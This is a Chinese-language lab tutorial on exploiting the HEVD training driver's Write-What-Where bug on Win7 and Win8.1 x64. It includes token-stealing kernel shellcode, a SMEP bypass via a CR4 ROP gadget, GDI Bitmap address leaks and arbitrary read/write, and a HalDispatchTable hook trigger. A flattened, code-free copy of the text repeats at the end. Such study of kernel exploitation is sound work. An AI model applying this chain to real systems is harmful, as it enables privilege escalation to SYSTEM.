WWW利用从Win7 x64到Win10 x64 1607(上)
字数 1455 2025-08-03 16:44:33

Windows内核漏洞利用教学:从Win7 x64到Win10 x64 1607的Write-What-Where漏洞利用

0x00 前言

本教学文档详细讲解HEVD(Windows内核漏洞训练项目)中的Write-What-Where漏洞在Win7 x64到Win10 x64 1607版本中的利用过程。Windows内核漏洞原理相对简单,关键在于exp的编写技巧。

准备工作

  • 相应版本的Windows虚拟机
  • 配置好windbg等调试工具(建议配合VirtualKD使用)
  • 虚拟机打上相应版本的补丁

0x01 Windows 7 x64利用

利用思路回顾(x86)

  1. 初始化句柄等结构
  2. 计算需要Hook的地址(HalDispatchTable+0x4)
  3. 调用TriggerArbitraryOverwrite函数将shellcode地址放入Hook地址
  4. 调用NtQueryIntervalProfile函数触发漏洞
  5. 调用cmd验证提权结果

x64关键修改点

Shellcode修改

x64下需要更新shellcode以适配64位架构:

.code
ShellCode proc
    mov rax, gs:[188h]      ; 当前线程_KTHREAD结构体
    mov rax, [rax+210h]     ; _EPROCESS结构体
    mov rcx, rax            ; 保存当前进程EPROCESS
    mov rdx, 4              ; System进程PID
    
findSystemPid:
    mov rax, [rax+188h]     ; 遍历进程链表
    sub rax, 188h
    cmp [rax+180h], rdx     ; 比较PID
    jnz findSystemPid
    
    mov rdx, [rax+0208h]    ; System进程token
    mov [rcx+0208h], rdx    ; 替换当前进程token
    ret
ShellCode endp
end

Shellcode编译方法(VS2019)

  1. 创建ShellCode.asm文件并放入汇编代码
  2. 右键文件属性 → 生成中排除选择"否" → 项类型选择"自定义生成工具"
  3. 自定义工具配置:
    命令行: ml64 /c %(filename).asm
    输出: %(filename).obj;%(outputs)
    
  4. 在ShellCode.h中声明:void ShellCode();

64位写入适配

由于x64是qword而非dword,需要分两次写入:

VOID Trigger_shellcode(UINT64 where, UINT64 what) {
    WRITE_WHAT_WHERE exploitlow;
    WRITE_WHAT_WHERE exploithigh;
    DWORD lpbReturn = 0;
    UINT32 lowValue = what;
    UINT32 highvalue = (what >> 0x20);
    
    exploitlow.What = (PULONG_PTR)&what;
    exploitlow.Where = (PULONG_PTR)where;
    DeviceIoControl(hDevice, 0x22200B, &exploitlow, 0x10, NULL, 0, &lpbReturn, NULL);
    
    exploithigh.What = (PULONG_PTR)&highvalue;
    exploithigh.Where = (PULONG_PTR)(where + 0x4);
    DeviceIoControl(hDevice, 0x22200B, &exploithigh, 0x10, NULL, 0, &lpbReturn, NULL);
}

0x02 Windows 8.1 x64利用

SMEP保护机制

Windows 8.1引入了SMEP(Supervisor Mode Execution Protection)保护,特征:

  • 错误信息:ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc)
  • 用户层代码不能在内核层执行
  • SMEP标志位在CR4寄存器的第20位

绕过SMEP的方法

  1. 使用ROP链修改CR4寄存器(关闭SMEP)
  2. 找到合适的gadget:mov cr4, rax
  3. 计算ROP gadget地址:
    • 获取内核基地址
    • 在windbg中查找KiConfigureDynamicProcessor+0x40的偏移
    • 基地址+偏移得到ROP位置

BITMAP对象利用

BITMAP对象是实现任意读写的关键技术。

BITMAP结构分析

typedef struct {
    BASEOBJECT64 BaseObject;  // 0x18bytes
    SURFOBJ64 SurfObj;
    // ...
} SURFACE64;

typedef struct {
    ULONG64 hHmgr;          // 8bytes
    ULONG32 ulShareCount;   // 4bytes
    WORD cExclusiveLock;    // 2bytes
    WORD BaseFlags;         // 2bytes
    ULONG64 Tid;            // 8bytes
} BASEOBJECT64;

typedef struct {
    ULONG64 dhsurf;         // 8bytes
    ULONG64 hsurf;          // 8bytes
    ULONG64 dhpdev;         // 8bytes
    ULONG64 hdev;           // 8bytes
    SIZEL sizlBitmap;       // 8bytes
    ULONG64 cjBits;         // 8bytes
    ULONG64 pvBits;         // 8bytes
    ULONG64 pvScan0;        // 8bytes (关键偏移+0x50)
    ULONG32 lDelta;         // 4bytes
    ULONG32 iUniq;          // 4bytes
    ULONG32 iBitmapFormat;  // 4bytes
    USHORT iType;           // 2bytes
    USHORT fjBitmap;        // 2bytes
} SURFOBJ64;

BITMAP地址泄露

  1. 获取GdiSharedHandleTable地址:
DWORD64 getGdiShreadHandleTableAddr() {
    DWORD64 tebAddr = (DWORD64)NtCurrentTeb();
    DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
    DWORD64 GdiShreadHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
    return GdiShreadHandleTableAddr;
}
  1. 获取BITMAP内核地址:
DWORD64 getBitMapAddr(HBITMAP hBitmap) {
    WORD arrayIndex = LOWORD(hBitmap);
    return *(PDWORD64)(getGdiShreadHandleTableAddr() + arrayIndex * 0x18);
}

任意读写实现

利用SetBitmapBits和GetBitmapBits函数:

VOID readOOB(DWORD64 whereRead, LPVOID whatValue, int len) {
    SetBitmapBits(hManagerBitmap, len, &whereRead);
    GetBitmapBits(hWorkerBitmap, len, whatValue); // read
}

VOID writeOOB(DWORD64 whereWrite, LPVOID whatValue, int len) {
    SetBitmapBits(hManagerBitmap, len, &whereWrite);
    SetBitmapBits(hWorkerBitmap, len, &whatValue); // write
}

完整利用流程

  1. 初始化句柄等结构
  2. 内核中构造放置shellcode
  3. 申请两个Bitmap并泄露pvScan0
  4. 调用TriggerArbitraryOverwrite使一个pvScan0指向另一个
  5. 两次读写实现写入ROPgadgets
  6. 调用NtQueryIntervalProfile触发漏洞
  7. 还原Hook地址防止蓝屏

0x03 关键代码片段

ROP链利用

readOOB(Hal_hook_address, &lpRealHooAddress, sizeof(LPVOID)); // 保存原地址
writeOOB(Hal_hook_address, (LPVOID)ROPgadgets, sizeof(DWORD64)); // 写入ROP
NtQueryIntervalProfile(0x1234, &interVal); // 触发漏洞
writeOOB(Hal_hook_address, (LPVOID)lpRealHooAddress, sizeof(DWORD64)); // 还原

进程提权Shellcode

mov rax, gs:[188h]      ; _KTHREAD
mov rax, [rax+210h]     ; _EPROCESS
mov rcx, rax            ; 当前进程
mov rdx, 4              ; System PID

findSystemPid:
    mov rax, [rax+188h] ; 活动进程链表
    sub rax, 188h
    cmp [rax+180h], rdx ; 比较PID
    jnz findSystemPid
    
    mov rdx, [rax+208h] ; System token
    mov [rcx+208h], rdx ; 替换token
    ret

0x04 总结

本教学详细讲解了从Win7 x64到Win8.1 x64的Write-What-Where漏洞利用方法,重点包括:

  1. x64架构下的shellcode适配
  2. SMEP保护机制及绕过方法
  3. BITMAP对象的精妙利用实现任意读写
  4. 完整的ROP链构造与利用流程

后续版本(如Win10 1511-1607)的利用方法将在下篇文档中详细讲解。

Windows内核漏洞利用教学:从Win7 x64到Win10 x64 1607的Write-What-Where漏洞利用 0x00 前言 本教学文档详细讲解HEVD(Windows内核漏洞训练项目)中的Write-What-Where漏洞在Win7 x64到Win10 x64 1607版本中的利用过程。Windows内核漏洞原理相对简单,关键在于exp的编写技巧。 准备工作 相应版本的Windows虚拟机 配置好windbg等调试工具(建议配合VirtualKD使用) 虚拟机打上相应版本的补丁 0x01 Windows 7 x64利用 利用思路回顾(x86) 初始化句柄等结构 计算需要Hook的地址(HalDispatchTable+0x4) 调用TriggerArbitraryOverwrite函数将shellcode地址放入Hook地址 调用NtQueryIntervalProfile函数触发漏洞 调用cmd验证提权结果 x64关键修改点 Shellcode修改 x64下需要更新shellcode以适配64位架构: Shellcode编译方法(VS2019) 创建ShellCode.asm文件并放入汇编代码 右键文件属性 → 生成中排除选择"否" → 项类型选择"自定义生成工具" 自定义工具配置: 在ShellCode.h中声明: void ShellCode(); 64位写入适配 由于x64是qword而非dword,需要分两次写入: 0x02 Windows 8.1 x64利用 SMEP保护机制 Windows 8.1引入了SMEP(Supervisor Mode Execution Protection)保护,特征: 错误信息: ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc) 用户层代码不能在内核层执行 SMEP标志位在CR4寄存器的第20位 绕过SMEP的方法 使用ROP链修改CR4寄存器(关闭SMEP) 找到合适的gadget: mov cr4, rax 计算ROP gadget地址: 获取内核基地址 在windbg中查找 KiConfigureDynamicProcessor+0x40 的偏移 基地址+偏移得到ROP位置 BITMAP对象利用 BITMAP对象是实现任意读写的关键技术。 BITMAP结构分析 BITMAP地址泄露 获取GdiSharedHandleTable地址: 获取BITMAP内核地址: 任意读写实现 利用SetBitmapBits和GetBitmapBits函数: 完整利用流程 初始化句柄等结构 内核中构造放置shellcode 申请两个Bitmap并泄露pvScan0 调用TriggerArbitraryOverwrite使一个pvScan0指向另一个 两次读写实现写入ROPgadgets 调用NtQueryIntervalProfile触发漏洞 还原Hook地址防止蓝屏 0x03 关键代码片段 ROP链利用 进程提权Shellcode 0x04 总结 本教学详细讲解了从Win7 x64到Win8.1 x64的Write-What-Where漏洞利用方法,重点包括: x64架构下的shellcode适配 SMEP保护机制及绕过方法 BITMAP对象的精妙利用实现任意读写 完整的ROP链构造与利用流程 后续版本(如Win10 1511-1607)的利用方法将在下篇文档中详细讲解。